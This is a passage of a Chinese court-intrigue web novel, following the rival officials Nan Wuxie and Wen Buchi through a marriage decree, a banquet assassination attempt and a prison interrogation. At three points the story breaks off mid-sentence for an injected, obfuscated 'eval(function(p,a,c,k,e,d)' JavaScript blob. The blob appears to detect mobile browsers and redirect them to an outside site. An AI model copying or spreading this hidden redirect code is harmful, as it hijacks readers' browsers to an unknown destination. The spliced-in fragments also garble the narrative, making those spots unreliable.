他说着,忽然低笑一声:“可惜他算错了一步——我可不急。” 卫清禾愣了愣:“侯爷是说……” “晁家那位老爷子,当年跟老爹在北境那可是共过生死的。”南无歇靠在椅背上,姿态慵懒,“老爷子是个明白人,知道什么该接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526711|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,什么该拒,这赐婚的旨意,晁家比咱们更怕接。” 卫清禾这才恍然,却仍有些忧心:“可陛下的意思,怕是由不得他们拒。” “由不得?”南无歇抬眼,眸色沉沉,“这世上的事,从来没有绝对的由不得。” 他忽然起身,走到窗边推开窗户,秋风卷着落叶灌进来,“等着看吧,不出半月,晁家那个小子就得主动来找我。” 他这副笃定的样子,倒让卫清禾彻底放了心,跟了南无歇这些年,他最清楚,但凡这人露出这种松弛的笑意,必是已有了十足的把握。 南无歇忽然回头,“下月初的秋猎,你让亲兵都备着,咱们得去凑个热闹。” “秋猎?”卫清禾有些意外,“侯爷不是不爱掺和这些场面事?” “从前是没必要,现在嘛……”南无歇瞧了卫清禾一眼,顿了顿,却并未说明,“人家既然为咱们搭了戏台,咱们若是不去,岂不是辜负了?” 想起茶馆里嵇舟那副八面玲珑的样子,又想起御前绵里藏针的温不迟,南无歇低笑一声,这么多人围着他转,倒显得他成了这棋盘上最要紧的子。 夜渐深,南无歇换了身轻便的常服,正对着舆图出神,卫清禾端着宵夜进来,见他指尖在南边的关隘上点着。 “侯爷,喝点热汤吧。”卫清禾将汤碗搁在案上,带着点姜味。 南无歇“嗯”了一声,视线却没离开舆图:“温不迟那边,还有什么动静?” 卫清禾低声道,“听说他傍晚时分回了趟温府,没待半个时辰就走了,出来时脸色不太好。” 南无歇这才抬眼,端起汤碗慢条斯理地喝着。 姜味有些冲,呛得他眉峰微挑:“温家那位怕是又没给好脸色。” “温家上下都不待见他,”卫清禾想起那些打探来的消息,语气里带了点惋惜,“他这见不得光的出身,能爬到枢密院副使的位置,也算是个异数。” 南无歇抬眸,眼底闪过点兴味:“异数?能让李昇完全放心,把谛听台这种杀器都交到手里,靠的可不单单是能力。” 他放下汤碗,“你没听说过他的事?” 卫清禾愣了愣:“侯爷是说……他是分桃的传闻?” 南无歇低笑一声,“听说他亲自跟李昇坦陈,说自己有分桃之好,断无子嗣之念。李昇信了,觉得这人没有后代,用着才放心。” 卫清禾皱眉:“这……为了权势,连这种话都编得出来?” 南无歇挑眉,端起茶盏漱了口,“谁知道是真是假,或许是真有其事,或许是故意做给李昇看,但无论真假,这步棋都走得够险,也够聪明。” “京里的人都说,”卫清禾压低声音,像是怕被人听见,“说他是陛下的娈宠,靠着那层关系才平步青云,不然以他的身份,怎能在短短几年里执掌谛听台,让六大世家都忌惮三分?” 南无歇嗤笑出声,“娈宠?李昇可没那么荒废,他要的,是一把足够锋利又不会刺向主人的刀,温不迟恰好把自己磨成了那把刀,至于床笫关系…” 他摆摆手,“最多是锦上添花罢了。” 南无歇想起白日里在城门口见到的温不迟,那人站在晨光里,玉冠青衫,清雅得像幅水墨画,可那双桃花眼里藏着的野心,比北境的寒风还要烈。这样的人,会甘心困于后/庭,做帝王的禁脔? 他起身走到窗边,望着远处皇城的方向,那里灯火通明,像一头蛰伏的巨兽,“这人的权欲比谁都重,温家日渐式微,他却偏要踩着温家的尸骨往上爬,连自己的名声、子嗣都能拿来做筹码,” 他回眸,眼神里闪着兴致之光,“这样的人,可够野的。” 4. 无声 卫清禾沉默片刻,问道:“那他此番撺掇陛下赐婚,到底是为了陛下,还是为了他自己?” “有区别吗?”南无歇回过身,“于他而言,李昇手握权柄他才有手握权柄的机会,扳倒我,既能让李昇安心,又能除去一个潜在的威胁,何乐而不为?” 他忽然低笑一声,“不过,他大概没算到,我会接下这赐婚的饵。” “侯爷是想……” “我是想看看他接下来的棋路。”南无歇唇角微扬,“一个连自己都敢算计的人,手段定然不止这些。” 夜风更凉了,吹得烛火剧烈摇曳。 卫清禾思忖再三,又道:“侯爷,需不需要——” “不必。”南无歇打断他,语气笃定,“现在还不是动他的时候,让他先跳着,我喜欢看他跳。” 他关上窗户,将寒意隔绝在外,书房里重归静谧,南无歇重新走到舆图前,指尖落在京师的位置,轻轻一点。 温不迟,李昇,六大世家…… 他忽然想起白日里温不迟说的那句“为陛下分忧罢了”,那语气里的温顺,藏着的却是翻云覆雨的野心。 “分桃?娈宠?”南无歇低声重复着,忽然笑了,“若真是如此,那我可真是好奇,李昇究竟是会保枕边人呢,还是会保名声。” *** 夜漏已深,谛听台的值房还亮着灯。 温不迟坐在案后,烛光在他侧脸投下柔和的轮廓,映得那双桃花眼半明半暗,倒比白日里更添几分冷冽。 案上堆着些卷宗,最上面那本摊开着,赫然是刚送来的南侯府动向:南无歇自与崔始颉分手回府后并未与任何府外的人相见。 “倒是沉得住气。”温不迟低语一声,瞧了角落处一眼。 窗纸忽然动了动,像被夜风吹得鼓荡,却又没发出半分声响。 温不迟头也未抬:“回来了?” 一道黑影自梁上无声飘落,落地时衣袂扫过地面,轻得像片羽毛。 戎珂半跪于地,黑色劲装融进周遭的阴影里,只露双眼:“主人。” “晁家那边如何?” “晁家两位公子和小姐今日皆未出府。”戎珂的声音压得极低,像从地底钻出来的寒气,“三小姐晁清辞闭门谢客,只在午后抚了半阕琴,二公子晁澈云在书斋看棋谱,也未见过外人。” 温不迟“嗯”了一声,示意他继续。 “大公子晁允平……”戎珂顿了顿,语气添了几分审慎,“这几日频频出入库房,昨日让管家清点了些西陲的特产,说是‘友人赠礼,需备回礼’。” 温不迟抬眼,烛火在他眸底跳跃:“回礼?” 他思忖了一下,轻笑道:“他倒比他父亲更急。” 晁家老爷子晁逍尘当年跟着南淳风在北境拼过命,最懂藏锋守拙,陛下赐婚的旨意刚下,他定会按兵不动,先看南无歇的反应。 倒是这个晁允平,年纪轻轻便在禁军里混得风生水起,听说颇有其父当年的锐气,只是这锐气里,掺了太多急于求成的躁。 “晁允平的将才,在京中年轻一辈里算是出挑的,只是性子急,去年曾因粮草调度的事,在朝堂上跟户部争执,被陛下罚了俸。”温不迟指尖敲了敲案几,忽然笑了:“不过性子急才好拿捏。” 今日白日里南无歇那句“容臣稍作整备”,看似退让,实则将了他温不迟一军,如今晁允平主动要上门,倒成了那人现成的契机。 “你猜,晁允平何时会去南侯府?”温不迟轻声问道。 “他性子急,应该不会耽搁太久,估摸着半月内便会动身。”戎珂答得利落,“需不需要——” “不必。”温不迟打断他,摇了摇手边的棋罐,发出清脆的碰撞声,“让他去。” 戎珂没再说话,只静静跪着,他不懂那些朝堂博弈,只知道主人要谁的消息,他便去查,主人要谁的命,他便去杀。 温不迟忽然抬头看他:“把南侯府外的眼线撤回来吧,别让南无歇觉得,我谛听台的人只会躲在暗处。” 他语气平淡,“该让他看见的,就得让他看见;不该让他知道的,半分也不能漏。” “是。”戎珂应声,正要隐去,却被温不迟叫住:“等等。” “主人?” “温酒丞那边…”温不迟的声音冷了些,“他那个宝贝三儿子,是不是又在外面吹嘘温家要重振旗鼓了?” 提到温家,戎珂的眼神沉了沉:“温老三昨日在酒楼宴客,席间说……说大人不过是借着陛下的势,迟早会摔下来,到时候还得靠他们这些‘正根’撑着温家门面。” 温不迟低笑出声,笑意却淬着冰:“他倒有脸说。” 他也起身走到了窗边,也推开条缝,夜风灌了进来,吹得他广袖翻飞,“告诉老东西,安分守己地养老,别让他那几个草包儿子出来碍眼,否则……” 他没说下去,但尾音里的寒意刺骨。 “属下明白。” 黑影一闪,已消失在窗外,值房里重归寂静,只剩下温不迟独自站在窗前,望着皇城方向的灯火,那里是权力的中心,也是他必须站稳的地方。 谛听台是他一手建起来的,从最初的几个密探,到如今遍布朝野的眼线,每一步都踩着刀尖。他知道李昇信他的“分桃”之说,信他没有子嗣牵挂,信他只会为帝王卖命,而帝王的信任,就是他最好的盔甲。 至于那些说他是“龙阳宠”的流言,他从不放在心上,世人愚昧,只信自己想信的,谁会信一个私生子光靠能力和韧性爬到如今的位置?他们宁愿相信他温不迟是极尽谄媚之能事,靠床笫之欢,逢迎上位。 至于南无歇……温不迟攥了攥拳头,他想起白日里那人勒马睥睨的眼神,像头目空一切的猛兽。 他温不迟最讨厌别人用这种眼神看他! 这种打心底里瞧不上的眼神是他自幼见的最多的眼神。 温不迟收回了目光,眼底翻涌着一丝不易察觉的愤怒。 *** 御花园的菊开得正盛,挤挤挨挨铺了半座园子,风一吹便摇出满径香气。 亭台楼阁间摆开数十张案几,百官按品级分列两侧,锦衣华服映着秋阳,倒比园子里的花还要扎眼。 南无歇被引到主位旁的客座,刚坐下,就见崔几悼提着袍角过来,身后跟着的崔始颉眼睛亮得像两颗星,不住朝他使眼色。 “南侯爷,多年不见,风采更胜往昔啊。”崔几悼拱手笑道,眼角的皱纹里堆着真切的热络。 “崔叔父见外了,还叫我永辞就好。”南无歇颔首,目光扫过不远处的几桌人。 嵇家那位吏部尚书嵇业正端着酒杯与人谈笑,眼角的余光却时不时往这边瞟,温不迟端坐在文官之列,青衫在一众绯紫官袍里格外显眼,正慢条斯理地用银签挑着碗中的莲子羹,仿佛周遭的喧闹都与他无关。 晁家来的人果然是晁允平,年轻人穿着簇新的锦袍,脸上带着点刻意的镇定,见南无歇看过来,立刻端起酒杯遥遥一敬,眼神里藏着几分说不清的急切。 南无歇回了个虚礼,便转开了视线。 面前的案上摆着盘新摘的杨梅,紫黑透亮,还带着点水珠。南无歇随手捏起一颗,放进嘴里,酸甜的汁水漫开,倒冲淡了些这宴会上的腻味。 李昇来得晚,龙椅刚坐定,便说了几句场面话,无非是夸南无歇镇守海疆有功,又赞百官辅佐得力,无关痛痒的,没意思得很。 然而底下一片附和声,山呼万岁。 酒过三巡,歌舞渐起,舞姬的水袖扫过鹅卵石地,琵琶声缠缠绵绵,把这御花园的气氛烘得愈发虚浮。 宴会上杯盏相撞声不断,南无歇的手却没怎么碰过酒杯,只往碟子里的杨梅去。 捏起,送进嘴里,果肉嚼尽,核儿“嗒”地落在碟中。 一颗接一颗,乐此不疲。 他垂着眼,吃得专注而缓慢,仿佛满桌珍馐与耳畔流转的丝竹,皆不及眼前这一碟红得莹润透亮的果子。 正沉浸之时—— 西侧乐师席上蓦地传来“哐啷”一响,似是什么器物翻倒,方才还缠绵婉转的琵琶声,如同锦缎被骤然撕裂,戛然而止。 紧接着,是一连串短促的惊呼,刺破了宴饮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526712|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喧闹。 南无歇刚吐出嘴里的杨梅核,那核儿还在碟子里打着转,周遭的骚动已经“轰”地一下涌了过来。 “什么人?!” 一声怒喝震彻席间。 “有刺客!” 不知是谁又喊了一声。 只见一个穿着乐师服的小娘子不知从哪儿摸出把短匕,疯了似的朝着文官列冲去,嘴里胡乱喊着:“奸贼!拿命来!” 百官顿时乱了套,离得近的慌忙起身躲避,桌椅碰撞的声响、女子的惊呼声混在一起,刚才还一派雍容的水榭,顷刻间乱成了蜂窝。 李昇高坐在主位,脸色瞬间沉了下去,身边的禁军护卫已拔刀喝令:“护驾!拿下刺客!” 南无歇捏着颗杨梅,眼皮都没抬,而眼角余光里那名刺客目标明确,直指温不迟所在的位置! 寒光晃过所有人的眼睛,温不迟像是没瞧见似的,依旧低垂眼眸端着茶杯,只是他垂着的眼睫微微颤动一下,握着杯子的手紧了紧。 他不想在这时候暴露功夫,尤其不想在李昇眼皮子底下,让人瞧见他这“手无缚鸡之力”的文臣,藏着一身能打的本事。 官止神行,屈指一弹。 不知何物破风而出,快得几乎看不见轨迹,“叮”的一声脆响,正撞在匕首的刃上。 力道不大,却来得刁钻,只见刺客手中的短匕脱手飞出,落地插进青砖缝里,颤了几颤。 旁边,一颗杨梅核慢悠悠滚了半寸。 温不迟骤然抬眼,目光精准地落在南无歇身上。 却见那人正端着茶杯,慢条斯理地吹着茶沫,垂着眼帘,长长的睫毛在眼下投出片浅影,似乎刚才那惊鸿一瞥的弹核与他毫无关系。 禁军这才扑上来,三下五除二将刺客按在地上。 水榭里渐渐安静下来,只剩下粗重的喘息和官员们压抑的议论。 “荒谬!!”李昇重重拍了下案几,他声音里还带着粗喘,“查!给朕彻查!” 王德全忙不迭地应着,指挥禁军将刺客拖下去,又让人清理地上的狼藉。 混乱来得快,去得也快,百官惊魂未定地坐回原位,看向温不迟的眼神里多了几分探究,这刺客千方百计冒着掉脑袋的风险混进御花园庆功宴,李昇在场的情况下,刺杀的却是温不迟,这太值得深思了。 然而还有令人更疑惑的,刚才那一下,是谁动的手? 无人察觉那枚果核的来处,只有温不迟清楚,刚才那一下力道有多准,角度有多刁。 他看着南无歇将茶杯凑到唇边,浅啜一口,喉结微动,侧脸格外平静,平静得近乎漠然。 温不迟的目光沉了沉,随即转回头,对着李昇躬身道:“陛下息怒,这刺客未必是冲着臣来的。” “未必?”李昇冷笑一声,“光天化日之下闯御花园行刺,若查不出幕后主使,朕这龙椅,怕是坐不稳了!” 百官纷纷附和着请帝王息怒,南无歇吃完最后一颗杨梅,拿起干巾擦了擦手指,动作从容不迫。 亭外的菊花还在风里摇,崔始颉凑到他耳边嘀咕:“刚才好险,永辞哥你看见了吗?” 南无歇转头看他,唇角微扬:“看见什么?” “刺客啊!” “哦,”他淡淡道,“看见了,没什么意思。” 说着,他拿起筷子夹了块水晶肘子,慢悠悠地嚼着。 水榭里的宴饮自然是进行不下去了,李昇怒气未消,草草散了宴席,只留下几位重臣商议彻查刺客的事。 南无歇随着人流往外走,经过温不迟身边时,对方忽然低声道:“多谢侯爷。” 南无歇脚步依旧没停,声音轻得快要被风卷走:“不是我。” 温不迟看着他的背影消失在回廊尽头,黑金常服在一片菊花里,竟生出种遗世独立的疏懒,他的这句“不是我”,怕不只是一个意思。 少顷,温不迟收回目光,定了定神,刚才若不是那枚核子,他或许真要在众人面前露些破绽了。 南无歇这一手,是示好?是试探?还是单纯觉得有趣? 温不迟摸不准。 5. 明测 刑部诏狱的石壁渗着潮气,铁锈味混着血腥气在甬道里弥漫。 温不迟提着盏油灯,细长的影子扫过斑驳的墙根,脚步声在空荡的廊道里格外清晰。 牢门是厚重的铁皮,上了三道锁,狱卒刚打开门,里面便传来浓重的血腥味。 温不迟抬手示意狱卒退下,独自掌灯走了进去。 只见角落里缩着个女子,囚服被血浸透黏在身上,露出的胳膊和小腿上全是青紫的鞭痕,新伤叠着旧伤,有的地方已经化脓。她头发散乱地遮着脸,身形单薄得像片随时会被风吹走的叶子,自始至终没动过一下,若非胸口还有微弱的起伏,几乎要让人以为是具尸体。 “刑部的人审了五轮,二十种刑具用了十七种。”温不迟的声音很轻,落在潮湿的空气里,竟带出点奇异的温和,“姑娘骨头硬,终是没吐一个字。” 女子依旧没动,仿佛没听见。 温不迟将油灯凑近了些,昏黄的光照亮她沾满血污的脸,这姑娘的眉眼其实生得不错,只是此刻紧蹙着,唇瓣咬得血肉模糊,像是熬过了极大的痛苦。 “谛听台的卷宗里,有你的名字。”他蹲下身,与她平视,灯光在他眼底投下明明灭灭的光,“周青,原是江南织造府的绣娘,津元三年家破人亡,被人挑去死侍训练营,学了一身杀人的本事。” 周青依旧是没有任何反应,二人之间只有细微到不能再轻的微弱呼吸声。 “训练营里的规矩我懂,活下来的都是佼佼者,可一旦任务失败,要么被灭口,要么自己了断。”他说着,目光落在周青藏在袖中的手上。 周青终于有了反应,她缓缓抬起头,血污遮不住那双眼睛里的恨意,“要杀要剐,悉听尊便。” “姑娘说笑了,要杀你的人怎么也不会是我吧?”温不迟笑了笑,桃花眼里漾着浅浅的光,让人看不出半分恶意,“杀你的人,该是派你出来的主使,毕竟,你知道他是谁。” 周青呼吸一滞,一瞬不瞬地盯着温不迟的眼睛。 “但姑娘以为,死了就清净了?”温不迟忽然前倾身体,“你死了,你那被卖到北境为奴的弟弟,可就真成了没人管的孤魂野鬼了。” 这句话像把尖刀,瞬间刺穿了周青所有的防备,她眼里的恨意碎了,露出惊惶和难以置信:“你、你怎么会……” “谛听台要查个人,不难。”温不迟直起身,拍了拍衣袍上的灰尘,语气又恢复了那种日常的温和,“包括你偷偷攒的银钱,原本是想赎出弟弟,送他去乡下过安稳日子。” 周青的嘴唇哆嗦着,忽然剧烈地咳嗽起来,咳出的血溅在囚服上,触目惊心,她死死攥着袖中的瓷片,微微发抖。 温不迟看着她挣扎的样子,声音很轻,“他们要你杀我,失败了,你就要寻死了之,” 他浅笑一声,“姑娘,你这太亏了吧?” 周青闻言抬头,布满红血丝的双眼狠狠咬住温不迟的脸,眨都不见眨一下。 只见那人歪了歪头,眼底闪过一丝极淡的嘲讽,“你为了报仇进训练营,为了弟弟忍辱偷生,如今任务没成,仇没报,人没救,就这么死了,你当真甘心?” 周青浑身一颤,死死咬牙却终是没忍住,泪水混着血污从眼角滑落,声音嘶哑得像破锣:“我……我没得选……” “谁说没得选?”温不迟俯身,将油灯递到她面前,灯光映亮他眼底的势在必得,“告诉我谁派你来的,我保你弟弟平安,还能替你报仇。” 他顿了顿,补充道:“你心里清楚,你的命是无论如何也保不住的,但倘若你现在就自尽,更是半分好处也捞不到。” 周青看着他近在咫尺的脸,这人笑得温和,眼里却藏着让人胆寒的算计,可他的话又像救命的稻草,让她在绝境里生出一丝不该有的奢望。 袖中的瓷片硌得手心生疼,锋利的边缘深深扎进肉里。 温不迟耐心地等着,油灯的光晕在他脸上明明灭灭。他从不信什么忠坚不屈,所谓的硬骨头,不过是没找到真正的软肋罢了,而这世间,谁没有软肋? 良久,周青喉间发出一声压抑的呜咽,攥着瓷片的手缓缓松开了,碎瓷片落在地上,发出清脆的声响,贯穿了这死寂一般的诏狱。 温不迟笑了,“这就对了。” 他直起身,“说吧,我只要一个名字。” 一盏茶的功夫过后,温不迟转身朝牢门外走去,走到门口时,他忽然停住脚步,没回头,只淡淡道:“刑部的手段不好熬,那瓷片挺好,姑娘也少遭点罪。” 铁门“哐当”一声关上,落了锁。 甬道里的脚步声渐渐远去,周青瘫坐在地上,望着那盏消失在黑暗里的油灯,忽然捂住脸,发出压抑的痛哭。 甬道尽头,温不迟将油灯递给候着的戎珂,“查周青的弟弟在北境哪个马场为奴,后日天亮前把人带回京。”他语气平淡,“另外,增派几个盯着嵇家的人手。” “是,”戎珂说,“需不需要——” “不用,”温不迟打断道,随后抬眼看向戎珂,眼神沉静冰冷中又带着些许莫名的柔软。 就这么盯了片刻,随后缓声教他:“嵇家父子若是被暗杀,非同小可。” 戎珂点头领命,不再多言。 温不迟深呼一口气,轻叹一声:“我其实早该想到的,” 他抬头望着诏狱穹顶的微光,“南无歇被一纸皇诏召回京城,一回来就被赐婚,他也知道这些是我做的,这就是他最好的动机,于是他的接风宴上就有人对我动手,” 他微微一顿,声音渐冷,续道:“能从这份算计里得到好处的人恐怕是真的急了,能在御花园安插刺客,又想借我这个‘龙阳客’的死搅乱朝局,从而让陛下对南无歇痛下杀手的人可没几个。嵇舟想摆南无歇一道,可他老子未必乐意做这出头鸟,在嵇家眼中,陛下保我看重我,谛听台又是悬在百官脖子上的刀,吏部被我掣肘的厉害,所以比起南无歇,‘嵇家’更想让我死,而南无歇虽手握大权,但他始终不曾将目光放在朝堂之中,也不曾真的对他们嵇家的势力动过手,所以比起南无歇,嵇家更想让‘我’死。” 是的,就是这样的,对嵇家父子而言,温不迟与南无歇皆是强有力的政敌,皆需除之而后快,无非是分个轻重缓急、孰先孰后罢了。而帝王身侧的权臣温不迟,对他们日夜监视步步紧逼,所以无论怎么算,杀他温不迟都更显紧迫。 况且,动一个兵权在握的九关侯爷,风险远大于除掉一名臭名昭著的栾宠文臣,因此,嵇家也确实不敢真的对南无歇直接出手,不过李昇对南无歇的态度大家心知肚明,既然这君臣二人已离心,那嵇舟不介意再添一把火,借帝王之刀杀人。 可戎珂听不懂这些,他只听懂了嵇家想杀他的主人,他始终垂首静立在那里,静静等候着主人接下来的命令。 温不迟转眸看向他,说,“但这事儿多半查不出什么,嵇舟不是省油的灯,他既然敢做,定然是已做好了万全准备,想借这事做实嵇舟之罪怕是不成,你不要急,下次换我做局招待他。” 戎珂应声退下,温不迟独自站在甬道里,他想起御花园里那枚精准无比的杨梅核,想起南无歇吹茶沫时云淡风轻的样子,随后轻蹙一下眉头,转身往诏狱外走去。 走出诏狱时,天边已泛起鱼肚白,刚转过街角,就见不远处的树下立着个人。 黑金常服在熹微的晨光里融成一片深影,南无歇斜倚着树干,食指和中指夹着枚刚摘的野菊,正漫不经心地逗弄着停在肩头的灰雀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526713|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听见脚步声,他抬眼看来,唇角噙着点若有似无的笑。 “温大人倒是利索,这么快就从诏狱出来了。”街上静谧,南无歇的声音异常清晰。 温不迟脚步未停,走到他面前站定,晨光恰好落在两人之间,划出道明暗交界的线。 他抬眸,眼底还带着些未散的冷冽,却被那双眼尾微挑的桃花眼衬得添了几分说不清的意味:“侯爷倒是清闲,大清早的不在侯府歇着,反倒在这儿吹风。” “刚吃完酒,特意在这等你。”南无歇直起身,随手将野菊抛给温不迟,“本侯想问问温大人,昨夜诏狱里,可问出什么了没?” 温不迟接住那朵残菊,说:“侯爷如此关心行刺一事,是怕陛下真的信了此事是侯爷所为?” “我有什么好怕的。”南无歇低笑一声,声音里带着点散漫,“倒是温大人,差点成了刀下鬼,就不好奇是谁想取你性命?” “该知道的,总会知道。”温不迟将残菊丢在地上,目光落在南无歇脸上,“御花园那枚杨梅核,侯爷准头不错。” 这话来得直接,没半点拐弯抹角。 南无歇像是没听懂,抬手理了理衣襟:“当时太乱,我倒没瞧见什么杨梅核。” “哦?”温不迟挑眉,向前半步,两人之间的距离骤然拉近,“那可奇了,难不成是杨梅核自己长了眼睛,偏要撞掉刺客的刀?” 晨光在南无歇的睫毛上投下浅影,他垂眸看着温不迟的嘴唇,一眨不眨,“或许是吧,毕竟温大人吉人天相,连果子都护着。” 温不迟盯着他看了片刻,忽然笑了,退开半步,又恢复了那副清雅疏离的样子:“侯爷既不想认,那便当是果子成了精。” 言毕,他微微一欠身,转身要走时却被南无歇叫住。 “温大人,”他的声音里添了点惬意的兴致,“有件事,本侯倒是挺好奇。” 温不迟回头:“侯爷请讲。” “朝中都传,”南无歇的目光在他身上慢悠悠转了圈,“说温大人有分桃之好,都唤温大人‘龙阳客’,可是真的?” 空气仿佛凝滞了一瞬,温不迟脸上的笑意未减,眼底却掠过一丝极淡的锐光:“侯爷如何关心起下官的私事了?” “不如何。”南无歇走近几步,声音压得低了些,带着点蛊惑的意味,“就是想问问,温大人是生来如此?还是李昇想让你如此?” 这话戳得又准又狠,直抵这一君一臣之间最隐秘的心思。 温不迟袖中的手指蜷了蜷,面上却笑得愈发温和:“陛下想让下官如此,下官不得不如此。” “是吗?”南无歇见这人顺着杆就爬,他俯身,凑到对方耳边,追问:“是李昇想让你如此?还是你想让李昇觉得你如此?” 温热的呼吸落在颈侧,像条小蛇钻进衣领,激起一阵细微的酥麻。 温不迟被说中心思,猛地侧头,两人的鼻尖几乎撞上,甚至能看清对方瞳孔里自己的影子。 “侯爷这是在审讯下官?”温不迟的声音冷了些,却没推开他。 “这哪儿能算审讯,”南无歇看着温不迟微微泛红的耳廓,唇角的笑意更深,“本侯只是觉得,温大人可不像是甘心做别人手中刀的人,你连自己的私情都能拿来做筹码,这心思,可不是谁都敢有的。” 温不迟迎上他的目光,那双桃花眼里翻涌着暗潮,却忽然定住,缓缓吐出几个字:“下官生来如此。” 南无歇被他这副油盐不进、软硬不吃、给杆就爬的样子逗笑了,低低的笑声震得胸腔发颤,“生来如此?好,生来如此。” 他直起身,歪了歪头,眼底的兴趣几乎要溢出来,“那不如,让本侯爷尝尝这抱背之欢?看看是不是真如传闻中那般滋味。” 6. 送歌 话音落下,温不迟的脸色终于变了,有恼怒,也有一种被戳破伪装的错愕,随即又被他压下去,换成了更深的晦暗。 他不动声色地后退一步,拉开距离,微微颔首,广袖下的手却紧紧攥着,“还望侯爷自重。” “自重?”南无歇挑眉,看着温不迟微动的眼色,觉得这副样子比他平日里那副滴水不漏的模样有趣多了,“温大人连自己的名声都能赌出去,反倒跟我讲起自重了?” 温不迟一瞬不瞬地盯着南无歇的眼睛,那人的眼神真是刺眼,他没再说话,微微一曲膝转身就走。 南无歇看着他仓促离去的背影,忽然低笑出声,晨光已洒满长街,他抬手摸了摸鼻子,随后转身朝侯府走去。 御花园行刺一案终是一桩悬案,周青死在了狱中,李昇虽怒,却也只能捏着鼻子认了,最后只能以“江湖余孽报复”定论。 温不迟向来不喜欢跟着别人的棋局走,既然知道这事对方布局周全,何苦浪费时间?不如日后自己亲自设局,只要他心里清楚是谁对他动的手,那就不急于这一时。 这事就像投入湖面的石子,溅起一阵浪,便再无踪迹,只让京里的气氛更沉了些。 这天,南侯府来了位客人。 晁允平明明穿着禁军甲胄,却比御花园见时收敛了些锐气,手里提着个紫檀木礼盒,站在正厅里,显得有些局促。 “侯爷。”他拱手行礼,目光落在南无歇身上,带着点复杂的敬意。 南无歇正临窗看棋谱,闻言抬眸,指了指对面的椅子:“坐。” 侍女奉上茶,晁允平捧着茶盏,他来之前想了无数说辞,可真见了南无歇这副云淡风轻的样子,倒不知该从何说起。 “家父……家父本该亲自来拜访,只是南疆路远,擅离军营于理不合,”他干巴巴地开口,“让我代他向侯爷问好。” “晁统领客气了。”南无歇翻过一页棋谱,语气平淡,“礼就不必了,烦请带回吧。” 晁允平脸上一热,把礼盒往前推了推:“不是什么贵重东西,是些西陲的老山参,家父说侯爷刚从东海回来,或许用得上。” 南无歇没再推辞,只淡淡道:“替我谢过晁老将军。” 南无歇句句都把天聊死,这让晁允平更没了开口的底气,厅里一时静了下去,只见厅外的秋风卷着落叶飘过。 良久,晁允平终是按捺不住,放下茶盏,语气郑重:“侯爷,我今日来,是想谈谈陛下赐婚的事。” 南无歇抬眸看他,眼底没什么波澜:“晁统领有什么想法?” “家父的意思是……”晁允平深吸一口气,像是下定了决心,“这婚,不能成。” “哦?”南无歇挑眉,“陛下的旨意,说不接就能不接?” “自然不能明着拒。”晁允平凑近了些,声音压得低了些,“家父说,陛下这是想把南家和晁家绑在一块儿,当靶子给世家打,咱们两家掌着兵权,本就遭人忌惮,一旦联姻,那些盯着咱们的眼睛,怕是要红得滴血。” 听了这话南无歇愣了一下。 这晁允平太直了! “晁老将军看得透彻。”南无歇回过神,放下棋谱,“可拒了陛下,又该如何?抗旨的罪名,咱们两家担得起?” “担不起。”晁允平苦笑一声,“所以我才来问问侯爷的意思,侯爷少年时便能定北境,必有法子解这困局。” 南无歇看着他,被这京城少有的开诚布公弄得哭笑不得。 这晁允平虽耿直急躁,却也不是完全没脑子,至少懂得审时度势和借力打力…… 南无歇忽然笑了笑:“法子不是没有,就看晁家敢不敢做。” 晁允平眼睛一亮:“侯爷请讲!” “接旨。”南无歇吐出两个字,见晁允平愣住,又补充道,“咱们接了这门婚事。” “接了?”晁允平急道,“那不是正中陛下下怀?” “接了,却不忙着办。”南无歇端起茶盏,慢悠悠地吹着浮沫,“晁三姑娘不是擅长丹青吗?听说前几日刚画了幅《秋江独钓图》,在京中才女圈里传得很广。” 晁允平不解:“这与婚事有何关系?” “当然有关系。”南无歇呷了一口茶水,说,“让晁三姑娘把画送来,就说……我瞧着喜欢,请她送我。” 晁允平更糊涂了:“这……” “执衡,”南无歇唤起他的小字,随后放下茶盏,语气带着点漫不经心的引导,“你想一下,一个未出阁的世家姑娘,如何能做出频频与外男以画传情之事?” 晁允平猛地反应过来,眼睛越睁越大:“永辞哥是想……” “让京里的人觉得,这门婚事晁三姑娘根本不愿,是我南永辞强求。”南无歇的声音轻了些,“流言这东西,最是磨人,等传满长街高堂,陛下若还逼着两家成婚,反倒落个强人所难的名声。” 他顿了顿,继续道:“再者,晁三姑娘是才女,性子定然高傲,”他懒散的往后一靠,“回去让你妹妹在画里留下点怨怼的痕迹,把这事做实了。” 晁允平听得心头发热,猛地拍了下大腿:“永辞哥这法子妙!既没抗旨,又能让陛下主动松口!” “妙什么。”南无歇低笑一声,“不过是第一步罢了,关键还在晁三姑娘愿不愿意配合,毕竟这名声,多少会受点影响。” 